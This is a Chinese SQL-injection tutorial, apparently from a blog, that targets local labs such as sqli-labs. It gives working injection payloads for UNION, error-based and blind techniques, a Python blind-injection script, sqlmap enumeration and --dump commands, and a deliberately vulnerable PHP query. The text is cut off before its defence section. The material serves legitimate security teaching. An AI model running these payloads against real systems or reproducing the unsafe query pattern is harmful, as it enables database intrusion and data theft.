资讯详情

资讯详情

SQL注入从入门到防御:报错注入、盲注与Sqlmap自动化检测实战

这次我们来看 Web 安全入门里绕不开的 SQL 注入。很多新手在教程里见过 Sqlmap也听说过报错注入、盲注但真正换一个靶场就不知道从哪下手是先看报错还是先试延时页面有回显和没回显方法完全不同。这篇文章会把 SQL 注入的原理、分类、手工测试流程、Sqlmap 自动化检测和修复方案放在一起讲并且所有演示都以本地授权靶场为前提。如果你是 Web 开发、安全测试新人或者刚进 CTF 想系统过一遍 SQL 注入这篇可以直接当操作笔记用。先说明边界本文只讨论在你自己搭建的靶场、CTF 题目、SRC/众测授权范围内进行的测试。所谓授权要具体到目标域名、测试时间、测试账号和数据使用范围。不要对任何未授权的公网系统发送单引号更不要对生产库执行 dump。SQL 注入属于高危漏洞学习它的正确目的是先理解攻击路径再在开发和测试阶段把它堵住。1. SQL 注入核心能力速览1.1 一张表看懂学习目标能力模块要解决的问题核心方法 / 工具注入点判断参数位置是否存在 SQL 拼接单引号、and 11 / and 12、注释符联合查询注入查询结果能回显到页面ORDER BY 判断列数UNION SELECT 读取数据报错注入页面能看到数据库报错信息updatexml、extractvalue、floor 报错盲注布尔/时间页面无回显、不展示数据页面真假对比、SLEEP 延时判断Sqlmap 自动化检测大量 URL 和参数批量验证--dbs、--tables、--dump、-m、--threads修复加固从根源避免拼接漏洞参数化查询、白名单校验、最小权限、日志与错误处理从这张表可以看出来SQL 注入不是“一个攻击点”而是一整套链路。前两步是基本功后两步是自动化提升和防御兜底。很多新人一上来就跑 sqlmap跑出结果却解释不了为什么这就是跳过基础判断导致的。1.2 前置知识要求学习本教程之前建议先掌握这些内容SQL 基础SELECT、WHERE、ORDER BY、注释符、字符串与数值类型。HTTP 基础GET/POST 参数、Cookie、URL 编码。一种 Web 运行环境会启动 PHP MySQL 或 Docker 即可。常用抓包和请求工具Burp Suite、curl、Python requests 至少熟悉一个。不需要你有非常深的数据库经验但如果你连select database()的作用都不知道后面看 payload 会非常吃力。2. 适用场景与使用边界2.1 适合谁学SQL 注入是 Web 安全面试和实战中的常客它并不过时。近几年公开漏洞情报里登录接口、文件授权接口、后台查询接口仍然持续出现 SQL 注入原因大多不是“漏洞姿势新”而是开发上线前没有做过安全测试或者对不可信输入直接拼接 SQL。所以下面这几类人都需要掌握它Web 开发人员写代码时知道什么写法会产生注入什么写法能安全规避。安全测试/渗透测试新人手工判断注入类型再使用工具复核。运维和基础架构人员能看懂漏洞报告里的 SQL 注入描述判断影响范围。CTF 初学者练熟报错注入、盲注和 sqlmap 基础命令能应付常见题目。2.2 测试边界清单可做的场景禁止做的场景本地靶场sqli-labs、pikachu、DVWA对未授权公网域名和 IP 做测试CTF 题目环境窃取、导出、公开真实业务数据明确授权的 SRC / 众测范围绕过授权范围横向移动企业内部授权演练中断业务、修改生产数据、删除数据如果你在测试过程中发现了真实系统漏洞正确的动作是停止深入利用保留最小必要证据通过官方渠道上报。不要自己复现过多数据也不要把漏洞截图到处传播。3. 本地靶场环境准备与启动3.1 推荐靶场靶场定位适合练习sqli-labsSQL 注入专项靶场联合查询、报错、布尔盲注、时间盲注pikachuWeb 安全综合靶场SQL 注入、XSS、CSRF、RCE 等DVWAWeb 漏洞综合靶场难度分级low / medium / high对只想练 SQL 注入的新人sqli-labs 优先级最高因为它按关卡拆分每一关对应一种注入类型。第一次搭建建议用最简单的方式不要一上来就折腾分布式架构。3.2 搭建 sqli-labs 的通用流程sqli-labs 是一个需要 PHP MySQL 环境的项目。常见的运行方式有三种直接放到本地 PHP 环境、使用 Docker 运行、使用 Docker Compose 编排。下面给的是可落地的通用流程。# 方式一使用 git 拉取源码如果网络受限也可以下载 zip 后解压 git clone https://github.com/Audi-1/sqli-labs.git # 将源码放到 Web 根目录具体路径取决于你的 PHP 环境 # Linux 常见路径/var/www/html/ # Windows phpStudy 常见路径phpstudy_pro/WWW/ sudo cp -r sqli-labs /var/www/html/如果你的电脑已经装了 phpStudy、XAMPP 这类集成环境启动 Apache 和 MySQL 后通过浏览器访问靶场首页按照页面提示初始化数据库即可。要注意不同版本的 sqli-labs 初始化入口不同有的在首页有明显按钮有的需要手动访问setup相关路径请以仓库 README 为准。Docker 方式更快捷但不要随便拉取来路不明的镜像尽量选择星标高、更新时间近、代码公开的仓库。命令里的镜像名必须替换成你确认过的可信镜像# 先搜索镜像再根据搜索结果选择 docker search sqli-labs # 启动容器左侧 80 端口可改成 8080 避免本机端口冲突 docker run -d -p 80:80 --name sqli-labs 可信镜像名 # 查看容器是否运行 docker ps3.3 验证靶场可访问靶场启动后浏览器访问类似地址http://127.0.0.1/sqli-labs/如果看到关卡列表说明 Web 服务已经正常工作。若页面提示数据库连接失败说明还需要初始化数据库或修改数据库账号密码。这一步非常关键后面所有手工注入和 sqlmap 测试都依赖靶场能正常执行 SQL。4. 手工 SQL 注入判断与报错注入实操4.1 注入点为什么会出现先看一个经典的危险写法?php // 仅用于教学展示生产环境禁止这样写 $id $_GET[id]; $sql SELECT * FROM users WHERE id . $id; $result mysqli_query($conn, $sql); ?当用户传入id1时SQL 是合法的SELECT * FROM users WHERE id 1;当用户传入id1 and 11时SQL 变成SELECT * FROM users WHERE id 1 and 11;如果传入id1 and 12条件为假页面行为可能完全不一样。这个差异就是判断注入点的起点。4.2 在靶场中判断参数是否存在注入以 GET 型参数为例使用浏览器或 curl 访问靶场页面。假设靶场地址为http://127.0.0.1/sqli-labs/Less-1/?id1第一次请求正常数据第二次在 URL 后面拼接单引号curl http://127.0.0.1/sqli-labs/Less-1/?id1如果页面出现数据库语法错误说明参数很可能被直接拼进了 SQL。接下来用逻辑恒真和恒假进一步确认http://127.0.0.1/sqli-labs/Less-1/?id1%20and%2011 http://127.0.0.1/sqli-labs/Less-1/?id1%20and%2012在 URL 中空格会被编码成%20所以粘贴到浏览器时最好使用已经编码的写法。若第一个请求与正常页面一致第二个请求内容发生变化或返回错误说明and条件进入了 SQL 执行流程基本可以判断存在注入。4.3 有回显时的联合查询如果页面会把 SQL 查询结果显示出来优先考虑联合查询。首先要确定当前查询有多少列常用方法是order by1 ORDER BY 3 -- - 1 ORDER BY 4 -- -当ORDER BY 4报错而ORDER BY 3正常说明当前查询共有 3 列。接着使用联合查询定位回显位置1 UNION SELECT 1,2,3 -- -如果页面把数字 2、3 显示出来说明第 2、3 列是回显位。把数字换成数据库函数即可读取信息1 UNION SELECT 1,database(),user() -- -这里database()取出当前数据库名user()取出当前数据库账号。这套操作在线上环境属于读取敏感信息只能在授权靶场执行。4.4 报错注入实战如果页面没有直接显示查询结果但有 SQL 错误信息就可以用报错注入。最常见的是 MySQL 的updatexml和extractvalue它们的原理是利用 XPath 表达式报错把拼接进去的子查询结果回显到错误信息里。1 AND updatexml(1, concat(0x7e, (select database()), 0x7e), 1) -- -1 AND extractvalue(1, concat(0x7e, (select table_name from information_schema.tables where table_schemadatabase() limit 0,1), 0x7e)) -- -解释一下这段 payloadconcat(0x7e, 子查询, 0x7e)把波浪号和查询结果拼在一起0x7e是字符~的十六进制写法。当 XPath 函数收到非法路径时会报错错误内容会包含拼接后的字符串从而把数据库名或表名带出来。报错注入有明显的版本前提多数常用函数依赖 MySQL 5.1.5 之后的 XPath 报错机制不同版本和数据库类型之间存在差异。如果你在靶场里执行后没有报错先确认数据库类型和版本不要在一棵树上吊死。5. 盲注实操布尔盲注与时间盲注5.1 什么场景下要从联合查询转盲注真实业务系统上线后最常见的处理是关闭调试信息、隐藏数据库报错同时页面又不展示敏感字段的查询结果。此时联合查询和报错注入都可能失效但你仍然可以通过页面的“是否正常显示”来判断条件真假这就是盲注的场景。盲注分成两种布尔盲注条件为真时页面表现 A条件为假时页面表现 B。时间盲注条件为真时执行SLEEP条件为假时立即返回。5.2 布尔盲注判断流程布尔盲注的核心是逐个字符猜解。比如想获取当前数据库名可以从猜第一个字符开始1 AND (SELECT ascii(substr(database(),1,1))) 80 -- - 1 AND (SELECT ascii(substr(database(),1,1))) 100 -- -第一条 payload 意思是如果数据库名第一个字符的 ASCII 码大于 80条件为真页面返回正常否则返回不同内容。先用二分法缩小范围再用等号定位最终字符。手工测试效率很低通常会用 Python 脚本辅助。下面是一个最简单的布尔盲注验证脚本只用来演示请求写法import requests # 仅用于本地授权靶场实际 URL 以你的环境为准 url http://127.0.0.1/sqli-labs/Less-8/ success_flag You are in def is_true(condition: str) - bool: payload f1 AND {condition} -- - response requests.get(url, params{id: payload}, timeout5) return success_flag in response.text # 测试条件当前数据库第一个字符是否大于 100 print(is_true(ascii(substr(database(),1,1)) 100))脚本本身没有绕过任何防护只是把手工重复请求变成自动判断。真正做盲注脚本时还要考虑响应时间、编码、重试和日志避免把网络抖动当成判断依据。5.3 时间盲注判断流程当页面在真假两种条件下返回内容完全一致就得换时间盲注。时间盲注不依赖页面内容差异只依赖响应时间1 AND IF((SELECT ascii(substr(database(),1,1))) 100, SLEEP(3), 0) -- -如果数据库名第一个字符的 ASCII 码大于 100当前 SQL 会执行SLEEP(3)请求延迟约 3 秒如果条件不成立不会延时。测试人员只需观察响应时间是否符合预期。时间盲注的风险是容易拖慢数据库和打满请求日志因此在授权测试时建议把延时调小比如SLEEP(1)或SLEEP(2)并且控制请求频率。对线上数据库做时间盲注会直接影响业务这是一条硬性边界。6. Sqlmap 自动化检测与批量任务6.1 安装 SqlmapSqlmap 是一个基于 Python 的自动化 SQL 注入检测工具支持布尔盲注、时间盲注、报错注入、联合查询注入、堆叠查询等多种方式。项目官方地址是https://github.com/sqlmapproject/sqlmap。安装方式有两种挑选一种即可# 方式一pip 安装 pip install sqlmap # 方式二git 拉取源码运行 git clone https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py --version无论哪种方式都需要本机已安装 Python 3。如果安装后提示命令找不到可以检查 PATH 环境变量或者直接使用源码目录下的python sqlmap.py。6.2 基础检测命令把手工测试过的靶场 URL 交给 sqlmappython sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 --batch--batch表示使用默认选项不在交互过程中逐个询问。首次运行时sqlmap 会针对目标 URL 发送大量探测请求跑完后输出检测到的注入类型和参数。如果检测到注入可以直接查看数据库python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 --batch --dbs得到数据库列表后进入目标数据库python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D 目标数据库 --tables --batch然后查看表里的列和数据python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D 目标数据库 -T 目标表 --columns --batch python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D 目标数据库 -T 目标表 --dump --batch--dump是把表数据读取到本地风险很高。在授权测试里也要先确认能不能碰数据、需要哪些脱敏流程在未经授权的目标上执行--dump可能直接触犯数据安全要求。建议只对靶场环境做完整 dump在真实授权测试中优先使用--count统计行数等低风险操作。6.3 指定盲注技术类型如果目标页面不显示数据、也没有报错信息默认探测可能因为耗时太长而没有结果。这时可以显式指定盲注技术# 只启用布尔盲注 python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-8/?id1 --techniqueB --dbmsmysql --batch # 只启用时间盲注并把延时调整到 2 秒 python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-8/?id1 --techniqueT --time-sec2 --dbmsmysql --batch--technique后面可以组合多个字母常见含义为B 布尔盲注、E 报错注入、U 联合查询、S 堆叠查询、T 时间盲注。手动指定技术类型能减少无效请求但前提是你已经通过手工测试确认了
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →